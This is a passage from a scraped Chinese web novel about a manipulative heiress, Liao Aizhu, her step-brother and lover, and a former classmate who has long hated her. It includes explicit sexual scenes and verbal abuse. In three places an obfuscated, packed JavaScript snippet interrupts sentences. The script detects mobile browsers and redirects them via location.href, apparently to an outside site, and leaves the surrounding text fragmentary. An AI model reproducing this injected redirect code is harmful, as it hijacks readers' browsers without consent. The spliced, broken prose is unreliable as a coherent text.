客厅气压骤降,幸好在廖爱珠发火前电话响起。 许怡宸不知道在哪个闹哄哄的地方打来电话耍酒疯,“廖爱珠,你给我滚出来!” 廖爱珠直接挂了电话。没多一会,许怡宸又打过来哭哭唧唧:“姐,爱珠……求求你过来。” “找你那些嫩模小蜜,少来烦我。” “我只有你,廖爱珠,你个没良心的……”醉话里那股酒味隔着电话快把廖爱珠冲一大跟头,她还没跟他算账,这混蛋倒先委屈巴巴找上门来。 “哈,到底谁没良心?你那些莺莺燕燕我管过没有?”佣人自觉退开,廖爱珠也拿着电话转身上楼,要不是先前在贺恩那舒了火,此刻她才懒得跟许怡宸多说半句,“你倒好,联合覃原祺一块坑我。” 那边音乐声震耳欲聋,许怡宸已经醉得只剩张嘴胡咧咧:“叽叽歪歪说的我听不清,快过来!” “吵死啦,你让那边安静点。” 片刻,电话那头传来怒吼:“都他妈给我安静!” 整个场子鸦雀无声,许怡宸满意地打个酒嗝转头又对电话哼哼:“姐,你过来抱抱我。” 男欢女爱是这个世界上最玄妙的东西,走的莫名来的蹊跷。可能几十年的爱恨交织打个哈欠的功夫灰飞烟灭,亦或许勾心斗角中那一晌贪欢岌岌可危走到现在。 弟弟也好情人也罢,廖爱珠终究狠不下心拒绝。 “……我不要在包厢里见你。”她走进衣帽间,一边说一边低头换上双漆皮穆勒鞋,电话那头许怡宸紧跟着嗯了一声,速度之快让廖爱珠还以为自己听错。直到对方切切实实第二次应承,她才继续说:“我去买包,常去那家店你知道吧,酒醒了去那找我。” 廖爱珠说完按掉电话,随便拎了个圆饼包摔门而去。 * 咣! 湖下区小破楼里,铁门上的锈被砸掉一地,楼道内路过的老人提溜着孩子跑开。贺恩听见声音淡定开门,被迎面一拳揍倒在地。 “王八蛋。”覃原祺拿着厚厚一封牛皮纸袋砸在贺恩脸上,袋子没封口,从里面掉出一沓资料。贺恩从地上爬坐起来默不吭声将纸一张一张收好。 “藏挺深啊!”覃原祺说着又连踹了地上的人几脚泄愤。要不是他留了一手,都不知道原来这货早就买通狗仔把他自己那点偷鸡摸狗的事压下来了。 贺恩脑瓜子嗡嗡作响,五脏六腑都在翻腾。耳鸣中他依稀听见对方尖酸刻薄的话语:“你个烂货也配碰她。” 他撑在地上嗤笑,反常的态度让覃原祺以为是在挑衅,便又揪住他的领子补上几拳。贺恩痛得蜷缩身体,鼻腔里充斥浓浓铁锈味,如果不是疼得发抖他甚至想为覃原祺拍手叫好。 “我从没想过和她在一起。” 贺恩抹掉脸上的血,露出一种诡异的畅快表情。 这种惩罚哪怕再狠十倍也不为过,因为和巴结奉承廖爱珠相比,皮肉上的痛纵使再多千百倍也不及心里膈应的万分之一。 他们绝不可能在一起,因为廖爱珠是个婊子,他永远不可能爱上一个仗势欺人贪荣慕利的臭婊子。 * “哈哈哈,那天我看见他了,还叫他过来打牌。怂样跟被人割肉似的笑死了……” 等待许怡宸的间隙,廖爱珠在LV贵宾室打着电话闲转悠,她说的人是集团下游的一位合作商,前阵国内一家知名金融机构暴雷,这位老板把大半身家投进去亏得血本无归。 现下大环境再也不是以前只要站风口上就能飘老高的时候。赚钱比的是心狠手辣,富人坑穷人,富人坑富人,狠得下心连枕边人都坑的才能笑到最后。 廖爱珠最喜欢拿这些当茶余饭后闲谈,看着那些人亏钱亏到心绞痛的样子她觉得特别搞笑。 “上次要的那双白水泥拿来我看看。”平常服务她的经理今天休假,临时派的小伙子立刻笑盈盈拿来鞋子跪在地上替她穿好。 廖爱珠坐在沙发上睨着人,发现对方白净高大,低头斯斯文文的颇有几分姿色,比得上不少小明星。 “有没有试试去做直播带货,嗯?” 她抬抬脚用鞋尖蹭弄对方喉结,小伙子一下没反应过来,隔了几秒赶忙抬头赔笑:“廖总说笑了,我这样开直播哪有人看?” “不试试怎么知道?男人畏首畏尾的怎么赚大钱?”廖爱珠脱下鞋,脚状似不经意地蹭到小伙子大腿根,“没钱哪有女人要你。” 对面的青涩模样勾得廖爱珠心痒,老狐狸玩多了就想搞点这种生瓜蛋子解腻。男人的长相身材也是她喜欢的类型。如果没有前两天那出闹剧,她说不定现在又要把人拐到床上干一炮。 “廖,廖总,这双怎么样?”小伙子没抬头,但是耳朵肉眼可见地变红。 “算了,还是看看包。” 高大的落地镜映照出店内富丽堂皇的场景,纵深走道上一件件昂贵奢侈品叠在镜中不过薄薄一层。 廖爱珠手支在沙发上指挥小伙子来来回回,借机欣赏健硕肉感的身材。 她玩心大气,从桌上拿过香槟弯腰递去在男人耳边轻声说:“叫姐。”凑过去时她忽然瞧见对方耳廓上有一颗痣打趣道,“哎呦,耳廓有痣大富大贵。” 廖爱珠说完恍惚一下,而后便开始没头没尾的笑。 “姐,你怎么了?”男人不明所以。 廖爱珠坐在沙发上抿了一口酒,思绪愉快地放风筝一样怎么也拉不回来。 她忽然想起一模一样的话对贺恩也曾说过。 放在十几年前廖爱珠也想不到风水轮流转,竟然会转得天翻地覆。 “没什么,就是觉得有的人命好福气拦都拦不住。” * 关于廖爱珠的过往知道的人并不多,她生父不详,从小跟着廖母在海外漂泊,自打有记忆起就和母亲四处蹭陌生男人的地方住。后来廖母在赌场当荷官时遇到一个卖布料的小老板,男人被朋友带着出国散心,在赌场里木愣愣站在老虎机面前想玩又不敢玩。呆样逗笑了刚下班的廖母,便好心投了币让他开开眼。 一来二去眼开了心也开了,廖母毅然决然跟着那小老板奔回祖国怀抱来到南湖市重新扎根。廖爱珠的日子在这时起才渐渐好起来。 认识的人中贺恩算是知道她过往最多的人。 他们第一次见面是在湖下区里的初中,廖爱珠的继父和老师是远房亲戚,转学第一天老师就给她安排坐在贺恩旁边。廖爱珠盯着他一节课,在下课的时候开口跟他说了第一句话:“我能和你看一本数学书吗?” 声音不大,但架不住一群青春期狗都嫌的烦人精们荷尔蒙躁动看见一男一女就想入非非。周围同学朝两人投去诧异目光,廖爱珠却耸耸肩仰头笑说:“你的书有笔记。” 贺恩连看都没看她,书一合丢进桌筒甩下一句:“你记你也有,用不着看我的。”然后直接出门上厕所。 他不开窍的行为让廖爱珠成了个大笑话,不到一上午班里都记住了廖爱珠的名字,甚至流言还传到了其他班级。 下午自习课的时候就有外班贺恩的暗恋者跑到班门口外面演偶像剧似的蹲在那哭。老师隔天就找到两人谈话,耳提面命他们要以学习为重。 廖爱珠没想到随口的一句flirting竟然闹得这么尴尬,心中顿觉扫兴至极,也不再搭理贺恩。约莫做了一个星期同桌之后班里开始轮换座位,他们自然而然没有了交集。 彼时贺恩学习好长得帅在年级里大受欢迎。廖爱珠学习成绩平平,又因为人长得漂亮爱玩换了七八个男朋友成为全校知名的学渣校花。 不出意外两人未来一个会是栋梁人才,另一个则是和专科男朋友未婚先孕的啃父母积蓄的蛀米大虫。 但前提是不出意外。 廖母是他们命运的转捩点。 回到南湖的第二年廖母因缘际会结识了许董,没多久廖爱珠就跟着母亲离开了湖下社区住进洋房大别墅,从此彻底告别颠沛流离的日子迈入富人阶层。 她与贺恩也没再见过,直到三年前廖爱珠在YSL店里看见他在做柜哥两人才重新勾搭上。 贺恩一如既往出挑,宽厚高大的身材配一副半框小方眼镜让他在人群中帅得发亮。成为打工人的贺恩也不再是当年不苟言笑的高冷男神,为冲业绩他竟然也学会对着满脸皱纹的老富婆胁肩谄笑。廖爱珠一见他便两眼放光,当下决定找这位老同学叙旧。 “给我拿双拖鞋。” “廖总……” “给我拿双拖鞋。”廖爱珠径直走到贺恩面前,不管不顾挤开他正在服务的客人,颐指气使,“我鞋坏了,去给我拿双拖鞋。” SA惯会看人眼色,知道谁能惹谁不能惹,端茶倒水的功夫其他客人已经被带开,留下贺恩独自应对廖爱珠。 “廖总,店里的拖鞋只剩男款……” “不卖是吧?”廖爱珠直接脱了脚上那双jimmy choo将手里果汁浇在上面,完事她还嫌不够又拿起来狠狠在地上摔打几下。 “我鞋坏了,买不到鞋我就光脚从你们店里走出去。” 果汁浸透了地毯,米白色格纹毯上漫出一片红透入贺恩的鞋底。 普通人这样闹会被当神经病请出去,但开口的是廖爱珠那便不一样。贺恩跪下来,跪在那片污渍上,熨得服帖的西装裤蹭得肮脏黏腻,“廖总,我的意思是拖鞋没有了,要不看看小白鞋?” 他跪下来仰着头,手臂搭在膝盖上,微笑着看人,对待廖爱珠没有一丝不耐。贺恩认出了她,也知道廖爱珠今时不同往日。 这样颠覆的差别让廖爱珠获得莫大愉悦,她蹲下来,凑近在贺恩的耳边,“哎呦,耳廓有痣大富大贵。” 暧昧的热气呼在那颗痣上,白皙干净的耳廓肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488398|202121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼可见变红。廖爱珠满意地拉开距离与贺恩四目相视。 地毯上的那股甜腻萦绕在两人之间。 贺恩缓慢眨了下眼,平静地回道:“廖总,还需要您多提携。” 廖爱珠一声爆笑,笑得乐不可支,跌坐在地,“哎呦贺恩,你也有今天。” * “学历造假,工作经历造假,我凭什么信你说的?”覃原祺坐在沙发上凝视前方。 贺恩站在客厅神色自若面对老板对自己的审判, “覃总,如果觉得我不行您可以开除我。” 他自三年前被廖爱珠带进覃源后就一直想办法在核心层身边打转。高层里尔虞我诈,像他这样的新人想出头就要会站队。老一辈的势力周围虎狼环伺,即便得到正主赏识也会被周遭排挤打压。像覃原祺这样的新势力尽管根基不稳,但有朝一日若能助他逆风翻盘,那么自己也能同甘共荣。贺恩需要覃原祺来实现功成名就,他赌覃原祺也需要他。 “你在威胁我?” “不是。” 覃原祺的目光如一把钢刀绕着贺恩,仿佛不在他皮肉上刮出点血不善罢甘休,“你是廖爱珠的人?” 贺恩对视那锐利的目光,满眼忌恨,“不是,我跟廖爱珠根本不是一路人。”他太清楚廖爱珠什么德行,她就像枯叶掩盖下恶臭腐朽的淤泥,一旦踏入便在不知不觉中被拖向深渊。如果人生能重来,他会在见廖爱珠的第一面让她滚回地狱。 * 初三那年贺恩与廖爱珠第二次有了交集。湖下初中唯成绩论,除了谈恋爱方面,对好学生的日常行为管得并不严,贺恩经常早操缺勤不见踪影,问就是躲在图书馆背书。他去哪不固定,有时呆在楼道,有时去美术室,更多的时候喜欢去新实验楼的厕所看下面做操的人。 “你们在里面干什么?” 学校寸土寸金,好地方难独享,贺恩一开门便撞见廖爱珠和她男朋友在厕所。他和廖爱珠自上次借书后没再说过话,两方视线相对时都有那么一瞬讶异。廖爱珠回过神,抱着胳膊歪头反质问贺恩,“那你到这干什么?” 楼下广播操音乐响起,这个时间点不去做操十有八九不干好事。贺恩没理她,把厕所门一关走到窗口点起一根烟开始吞云吐雾。 升腾的烟雾缓和了气氛,对品格低下的人来说坏事是搭起友谊的桥梁。廖爱珠男友见状拍拍胸口调笑道:“好学生原来也抽烟呀!” 好学生也是人,好学生也有七情六欲。 贺恩眺望远方,过了一会吐出的烟雾渐渐消散他也攒够兴趣搭理他:“好学生也吃饭拉屎,是不是很神奇?” 男生被噎得一脸菜色,反倒是廖爱珠在旁边笑弯了腰。那一霎贺恩与廖爱珠的视线相汇,彼此眼中多了一丝说不清道不明的暧昧。廖爱珠忽然伸手掏向对面口袋,从贺恩那拿来烟盒弹出一根香烟。 “喂……” “借个火。” 白皙修长的手拽住贺恩衣领,廖爱珠就着贺恩嘴里的烟点燃了自己的。两个香烟连接处亮起点点火星,烟雾缓缓在中间升腾,那一瞬的亮光犹如安康鱼头顶的拟饵让贺恩卸下防备。 廖爱珠也不过如此。 他幼稚又傲慢地享受着与她之间的暧昧。 近朱者赤,近墨者黑。贺恩认为自己能游刃有余地踏在那条边界之上满足自己的躁动与虚荣,直到某天廖爱珠拦住他,提出让他帮自己买一包卫生巾的荒唐要求。 “你自己去,我扶你。” “不要,我走不动。”廖爱珠捂着肚子坐在花坛边撒娇。 举手之劳换成平时贺恩就顺手帮她了,可是今天他妈做完小手术出院正等着自己去接。贺恩看了眼手表,又瞟一眼身上那无赖。廖爱珠还在那眨巴眼睛跟他嘟嘴撒娇:“老公~” “谁是你老公?”贺恩想了想,把自己接了热水的玻璃钢杯塞进廖爱珠怀中冷声道,“你在这等着我。”然后转身去了学校小卖部。 等他拿着卫生巾回来时廖爱珠坐在她男友的自行车上放声大笑:“看吧,我说我能让那傻叉去买卫生巾。” 贺恩傻愣愣站在原地,花坛边放着的杯子锵啷一声被风吹倒滚到他脚边。 从校门口花坛到小卖部一共五分钟路程,贺恩一来一回耽误了十分钟。人生有许许多多十分钟,但这十分钟对贺恩来说就是永远。 他的母亲因为迟迟等不到他所以自己回家,穿过漆黑的桥洞时让超速行驶的摩的撞成植物人。 贺恩本不富裕的家庭被这突如其来的变故压得苟延残喘。为了照顾母亲他不得不放下学业,曾经的天之骄子最后只勉强上个二本便早早出来养家糊口。 而廖爱珠在那天后就转学离开湖下区,在许董安排下她去了市里最好的高中又靠着华侨的身份上了南湖市一所211大学,至于初中那帮猪朋狗友,她早在搬家的时候就彻底断了联系。 如果后来他们没见面,贺恩或许就此认命。但廖爱珠出现了,一如既往的霸道蛮横。为什么老天总要眷顾像她这样一无是处的废物?为什么让这个废物凌驾众人之上,享受着的取之不尽用之不竭的财富?贺恩心里熄灭的那团火又被撩起烽火漫天。 他恨死廖爱珠。 每当午夜梦回贺恩都会一遍遍循环自己站在中学那座花坛前无措地看着廖爱珠嘲笑他。笑他的人生栽在那十分钟,笑他母亲的命一文不值。贺恩想不通怎么他的大好人生就在那天荒谬地戛然而止。 这几年他的父母相继离世。如果没有廖爱珠,他不会沦落到家破人亡的地步。他忍着恶心伺候廖爱珠, 10. 窃听 半小时后,许怡宸穿一身皱巴巴亚麻衬衫径直闯进了贵宾室。红棕短绒地毯加明亮灯光映衬下让他的身影尤为显眼,他站在门口咳嗽一声,轻声细语唤道:“姐。” 房间大落地镜将事物照得纤毫毕现,廖爱珠背对许怡宸和SA一边打情骂俏,一边来来回回试衣服,试着试着最后连人带衣服全部拉进更衣间。 等她折腾够了神清气爽出来,许怡宸正靠在门口,面无表情盯着两人。 “气消了吧?” 那双眼无波无澜扫过廖爱珠身后,吓得后面那愣头青赶紧为两人腾出空间。 等人都走光后,许怡宸与廖爱珠拉拉扯扯,无赖似的从身后抱住她,“姐。” “滚。” “不滚。” “我喊人了。” “喊吧,喊大声点,你不喊我来喊。”他用下巴磨蹭廖爱珠颈间腻歪,“正好公开咱俩的关系。” 黏黏糊糊的举动没能哄得廖爱珠开心,见没有外人在她干脆也不憋着,挣脱怀抱对许怡宸一顿拳打脚踢骂道:“咱俩什么关系!什么关系!我跟你屁关系都没有。你姓许我姓廖,不是同一个爸妈生的,我跟你有什么关系!?” “没关系正好,没关系正好结婚。” “不要脸,没钱没本事还敢厚脸皮说娶我,嫁谁也不嫁给你!” “那你想嫁谁?”许怡宸吼道,“是不是准备嫁给覃原祺那孙子,说!” “放开我。” 两人在那拉扯,挣扎间廖爱珠甩手给了对方一巴掌。许怡宸瞪眼大喝:“廖爱珠!” “你到底对谁有真心?”厉声诘问吓得廖爱珠一滞,房间里瞬间陷入沉默。 两人的影子在头顶五花八门的筒灯映照下分开变成两条平行线。 廖爱珠深吸口气,抓起桌上香槟一饮而尽,声音中带着点哽咽:“那晚我问过你娶不娶我,是你说不娶的。” “我什么时候说不娶了?!” “那你娶了嘛?!!” 谁都能质问她唯独许怡宸不能,她自认在男欢女爱上放纵不羁,可若说有没有真心,廖爱珠敢拍胸脯保证那点真心全给了许怡宸。 “我后悔了。” “后悔没用!就算那晚你答应了我也不会嫁给你。嫁给你家那头猪也不嫁给……” 热烈的吻迎面袭来。许怡宸不给她留一点退路,他的手粗鲁地钳住廖爱珠脸颊,像个流氓贪婪地舔舐她的嘴唇。 廖爱珠用尽力气推拒,一拳一拳捶在他胸口,每捶一拳许怡宸的吻便加深一分,直到跋扈专横的捶打逐渐艰涩,最终落在胸口化为爱抚。 “我爱你,别离开我。”许怡宸额头抵上廖爱珠的额头,恳切的目光让人说不出拒绝,“爱珠,答应我。” 每一个和廖爱珠上床的男人都说爱,她有太多真假难辨的爱,多到每次做完都习惯将这些爱冲进下水道。她和许怡宸这肮脏的感情如烂泥般搅合着谎言与虚伪,双方连一个标点符号都不敢相信却希望彼此奉如圭臬。 但那又如何?如果感情能划出一条泾渭分明的界限,她也不会放纵地走到今天这个地步。 廖爱珠闭上双眼,缄默无言。 商场外,司机早早将车停在路边等候。LV的大门推开,两道身影步履匆匆从里面走出。许怡宸揽着廖爱珠肩膀,飞快拉开车门将人塞进去。关上门后他没急着上车,而是慢悠悠走到车前打了通电话。 廖爱珠坐在车内向外瞟,正好与他视线对上。许怡宸朝她笑了笑挂掉电话,随即开门上车。 “等久了吧?” “跟谁打电话?”廖爱珠问。 “没什么,交待件小事。” “什么事。” 许怡宸不回答,握了握她的手便抬头命令司机开车。 二人离开后,几个大块头从LV旁边的巷子里走出来跳上了另一辆车离去。 巷子深处,一个男人蜷缩在地,肿成猪头的脸看不出半分明星相。 * 廖爱珠最讨厌丑东西,无论是丑的物件还是丑的男人,多看一眼都令她作呕。 ——幸好许家的别墅装潢品位相当有格调,全家最丑的东西只有许怡宸那个大哥。 许家廖爱珠算是熟门熟路,毕竟住了七八年。许董是个恋旧的人,东西一旦定下就不轻易改变。廖爱珠这个拖油瓶当初算不上讨喜,但是许家翻新过好几次,每一次还是会保留她的房间。 真皮大床旁摆着一座半人高的流水假山石,细流下峭壁山石滑腻润泽,绞缠的石块如盘坐着汗津津的躯体。 浅米灰格纹毛毯从床上蜿蜒至地板被忽然抖落的抱枕压住,蹭动了窗帘撩起阳光的律动让阴影在皮肤上来回摇摆,闹到夜幕已至才偃旗息鼓。 许怡宸身心舒畅,趴在床上抬手摸着廖爱珠耳垂懒懒地说:“真想把你永远困这张床上。” 在情感和身体上再也不会有人能比得过她带来的感受。哪怕不为利益,他也要把廖爱珠留在身边,“说真的,到底什么时候嫁给我?” 廖爱珠斜乜他一眼,吐槽:“我还想你JB一直硬呢!”她这张嘴只剩长得好看,在贫瘠的大脑控制之下非但吐不出象牙,连顺耳的话也说不上两句。 不过许怡宸也是个贱嘴,对她属于屎壳郎遇屎壳郎,惺惺相惜志趣相投。他坐起来揽过人伸手往下一掏,蟒蛇一样在被窝里钻来隆去,颇有闲心逗起闷子:“就这么点要求?怎么不盼我长两根?” 灵活的手指四处冲锋陷阵,哄得廖爱珠娇笑连连。 “爱珠,嫁给我吧……” “我有老公了。” “谁?覃原路吗?他也算事?” 廖爱珠听见这话顿觉颓萎,好好的余暇不享受,偏在这时讨名分败她的兴,她推开许怡宸翻身去够床下的包,从里面掏烟叼在嘴上,冷淡说道:“你们不拿他当回事,我拿他当回事还不成吗?” 这话引得许怡宸不悦,又开始小肚鸡肠跟廖爱珠斤斤计较:“下午在外面还说的好好的,合着都是在哄我。我看你不是拿覃原路那王八精当回事,是想暗度陈仓养小叔子呢吧!” “嘶,有完没完?”廖爱珠烦躁地给他一拐子,啪嗒啪嗒使劲按着打火机骂道,“你少管我,别以为我不知道你打什么算盘,又想睡觉又想要钱你怎么不去做鸭?有本事就去睡我妈,睡服那倔驴老太整个覃源都是你的。” 话语戳心戳肺,许怡宸听完瞬时挂脸,他抓住廖爱珠手腕,咄咄威胁道:“我可不是覃原路那头绿毛龟,不分手我就叫你做寡妇,让覃家葬礼买一送一。” 廖爱珠从前就没怕过许怡宸,现在更不可能怕他威胁,不知道几斤几两的货在覃源屁都放不响还敢威胁她?她挺直腰板对许怡宸叫骂:“许怡宸你算老几敢跟我叫板?” 廖爱珠摔了打火机指着许怡宸喊道:“我就不分,就不分,气死你!!” 小巧的物件摔在地上,心形金属外壳一下裂成两瓣将里面的零件暴露出来。 机械方面廖爱珠虽一窍不通,但她没吃过猪肉也见过猪跑,拇指大的充汽打火机里塞块电路板要没有蹊跷的话,她把头摘下来当球踢。 “这什么玩意儿?!” 精巧的机械还在手心发烫,廖爱珠盯着手中的玩意儿一股凉意窜上脑门,豆大的汗顺着额际吧嗒往下掉。 “窃听器啊,难不成是美妆蛋?”许怡宸靠在床头煽风点火,“往你身上使这么下作的手段除了姓覃的还能有谁?” 廖爱珠愕然失色,反质问对面:“你胡说,这东西是你装的吧?是不是!” “廖爱珠,你就这么稀罕覃原祺?事实都摆在眼前了还装瞎把屎盆子往我头上扣!” 廖爱珠惴惴不安,许怡宸只说对了一半,送她打火机的不是覃原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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片刻,覃原祺有恃无恐承认,“是我。”他敢做就不怕廖爱珠发现,这次能把贺恩揪出来也是因为窃听。有刘纯在管物业,他想进覃原路家也就一句话的事。如今局面瞬息万变,自己能从廖爱珠那拿到越多筹码,赢得廖家支持的机会就越大。 “……你个混蛋,给我等着!!” 那股恨劲儿让覃原祺开怀大笑,等挂断电话,他转身耐人寻味对贺恩丢下句:“给我看着廖爱珠。”随后大步离去。 小破楼内,铁门大敞,从楼梯间传来外面孩子嬉闹欢快的脚步声。贺恩挣扎着坐在椅子上,摸了摸隐隐作痛的肋间长吁一口气啐道:“覃原祺你个……” * “……王八蛋!” 廖爱珠发泄般用胸罩狠狠抽了几下床铺,然后气势汹汹套上。 得到覃原祺的答案让她如释重负,先前的不安也通通转为怒火急着找个出口宣泄。她现在满脑子就想找到覃原祺,找到这个罪魁祸首让她好好发泄一通。 “你不准走。” “别烦我!我要去找覃原祺算账。” 许怡宸去抓她的胳膊,被廖爱珠用丁字裤抽脸将他打开。 看着廖爱珠一边穿衣服一边弯腰满地找耳环,许怡宸冷眼挖苦道:“你个笨蛋找他能讨到什么,打着打着就打到床上去了。连轴转找男人你不嫌累吗,歇会吧你!” 廖爱珠把捡起的耳环丢许怡宸脸上,她从见了这碎嘴子到现在就在不停地生气骂人,这会实在懒得费心纠缠。廖爱珠想了想指着他,有气无力说:“哪凉快哪待着,我没工夫管你。” “你贱不贱,上赶着贴他们姓覃的冷屁股,许家养不起你是不是!” “说的比唱的好听,你们姓许的谁能养我?许怡宸我告诉你,想让我留下来就等你成了太子再说,到时我连人带床送过来让你艹三天!” 廖爱珠说完摔门离开,没多一会窗外传来轰鸣。 夜阑将深,亮光从窗户上迅速滑过,许怡宸听着渐渐远去的嘈杂猛地翻身下床, 11. 姐 “廖爱珠,你不知好赖……” 酒瓶在灯光映照下稀稀碎碎拼出廖爱珠那副洋洋得意的脸。坏女人常有,坏得让人抓心挠肝的就她一个。 许怡宸醉趴在桌上,一拳头锤在台面,悔不当初怎么没推着除草机把这狼心狗肺的东西铲出他家。 * 他们初见也是在这座别墅里。 那天廖爱珠穿着黑T恤和高腰牛仔裤在那一团暖黄嫩绿中透亮精神,黑而蓬松的马尾辫逆着微风甩动。许怡宸坐在书桌上,透过窗外注视站在花园内的母女俩。 母亲去世以后,父亲陆续交往过很多女人,唯有廖爱珠她妈被带回许家。论样貌,她不是许父交往过最漂亮的;论年龄,她也不是最年轻的,其余谈吐,学历这些更是要甚无甚。可这女人竟然让吝啬的许父破天荒领她进门。 阳光明媚,转瞬一双眼睛朝上看来与他隔空相望,花园中的少女莞然一笑,动了动纤细的手指朝楼上打招呼。 许怡宸垂眸凝视,似笑非笑地朝下面回敬了三个字:“拖、油、瓶。” ……窗帘被猛地扯上。 “你也是拖油瓶。”廖爱珠仰头反驳。 水冷机箱透出绚丽迷离的光瞬间点亮昏暗房内,紫红靛蓝交叠下廖爱珠微张的嘴漏出小半截鲜红的舌尖。 许怡宸收回思绪垂眸,这画面看得他蠢蠢欲动,他拽起廖爱珠。桌椅撞得叮咣作响,好像两块热气腾腾的肉紧紧挤在一起毫无美感。 “廖爱珠,你少废话。” “许怡宸,你又不叫姐。” 他们唇枪舌剑互不相让,仅仅凭着青春才不知天高地厚肆意喷爆荷尔蒙。 廖爱珠烦透这个所谓的弟弟,两人同住屋檐下的第一天就开始干架,从高中打到大学,常常深更半夜关起门为点芝麻绿豆的破事大吵特吵,彼此揪着领子叫阵,黑灯瞎火的两张嘴咬死对方都不解恨。 楼下传来汽车轰鸣听得廖爱珠心慌,呼吸挤在吻中,她着急催促反而让许怡宸慢下来,拿捏着她慢慢折磨。 “快点,我男朋友来了。” “请他上来呀!”许怡宸阴阳怪气,“看看我们姐弟感情有多好。” “王八蛋。”廖爱珠不服气,从许怡宸第一次开始身上的本事全是她一手一脚教出来的。她像个驯服战马的沙场悍将与他搏斗。 两人几番交锋才谈和休战。 廖爱珠匆匆系上裤扣对对面说:“晚上我不回来吃饭……有可能在外面过夜。” 窗帘掀起吹散一室情欲。 本来餍足趴在床上的人忽然坐起朝外面丢枕头发脾气:“别吵啦!” 许怡宸转头没好气道:“跟我说干什么,跟你妈说去。” “吃醋了?”廖爱珠调了调内衣肩带睨着对面打趣,“想做我男朋友?给我买包就答应你啊。” 她的玩笑没逗笑许怡宸,反而换来冷眼凝视。 “少跟那吃软饭的来往。” “什么意思?” “字面意思,蠢猪。” 许怡宸抓住迎面甩来的巴掌,他话说一半没心情说下去,转身倒在床上赌气睡觉。这一觉迷迷糊糊睡到凌晨,直到廖爱珠气冲冲回来拿拖鞋把他砸醒。 “死贱嘴,都怪你!” 许怡宸愣了愣,回过神幸灾乐祸。 “我让你笑,我让你笑!”廖爱珠抬手一巴掌。 两人扭打到床上,打了一会又亲了一会,廖爱珠躺在许怡宸腿边忿忿不平抱怨下午的遭遇。 她满心欢喜拉着男友买包,结果那货一试真金白银立刻露馅。人是富二代没错,但只有个空架子,家里给的钱还不如普通人家给小孩的生活费。那些车和衣服鞋子全是前女友买的,信用卡还欠了一堆竟然不要脸的开口要廖爱珠帮他还。 “我信誓旦旦跟人家说好了拿货,一到那就让我丢个大人,死穷鬼!” 许怡宸靠在床上有一搭没一搭扒拉吉他,听对面骂完哈哈大笑,坐起身去抓廖爱珠的手,“不听劝,活该。” “我还没问你,这事你怎么知道的?” “别提了,这回真他妈看戏掉井里……” 廖爱珠男友这事是许怡宸捎带偷听到的。 集团附近有块地许家和程家争了好几年,虽没正式宣布,但程家拿下这个大项目已是板上钉钉。最近对方为了资金周转打算卖掉手上覃源的股票。许父见抢不到项目便谋划着找时机趁火打劫赚一笔。 期间,廖母谈起集团下游的合作商顺道八卦廖爱珠男友一家。本来这事就听个乐子,但接下来许父话锋一转谈起要把家业全部交给许怡宸的大哥。 这消息对许怡宸来说如同晴天霹雳。过去二十年里他一直认为家中事业总有一部分会交到自己手上,许怡宸功课交际样样不落,就为了有一天能继承衣钵。 他神思恍惚,等反应过来时已经拉着廖爱珠发泄满腔怒火。 “有什么大不了的,那就当个富贵闲人嘛!”廖爱珠无所谓道。 “富贵闲人?你是指像你那个男友一样吃软饭的富贵闲人?”许怡宸冷脸质问。 没钱没资本,名声再好听也是空架子,在名利场上不过是个跳梁小丑。许怡宸接受不了自己有朝一日沦为他人笑柄,这样的日子他连边都不愿意碰。 “那你想怎么样?有本事学你爸白手起家打天下,跟我逼逼赖赖干嘛?” 咣啷!吉他摔在地上。 他霍然起身,高大身躯让廖爱珠笼罩在他阴影之下,平日里意气风发的脸逆着光忽然变得狰狞,“你懂什么?你也是白吃白喝赖在我家的拖油瓶。许家的东西凭什么都给他?这屋子里的东西也有我一份!” 外头传来脚步声打断了谈话。等平静后,廖爱珠忽然笑起来,抱起胳膊冷嘲热讽:“哈,吼大声点让你爸进来听听。” 房间陷入沉默。吉他弦崩断甩在两人之间。 良久,许怡宸默不吭声拿起吉他坐回床上,把廖爱珠抱在怀里扫了下弦,声音荒腔走板。 “不说了,改天介绍我哥们给你认识。” “干嘛?” 他把头靠在怀中人肩上,声音闷闷:“你不是想找货真价实的富二代吗?” 廖爱珠直直望着前方,任由身后人在脖颈上舔吻。 “……想,找个有钱的,有好多好多钱。” 缠绵的吻顿了一顿,许怡宸狠狠钻进她颈间,嘴唇碾在皮肤上咬牙切齿:“好,我哥们就是。” 琴弦拨出刺耳的音,许怡宸将廖爱珠压在床上——随后被眼前一幕气笑。 “你贱不贱?吃软饭的也睡!” 胸口的痕迹随着床上下弹晃,碍眼至极。 廖爱珠扯扯嘴角,盯着他满不在乎:“就是吃软饭才更要睡。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488400|202121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 下午她连订好的餐厅也没去直接拉着软饭男进宾馆让他钱债肉偿。廖爱珠从下午干到晚上,直到把人榨成梅干菜饿得直打摆子才勉强消火。 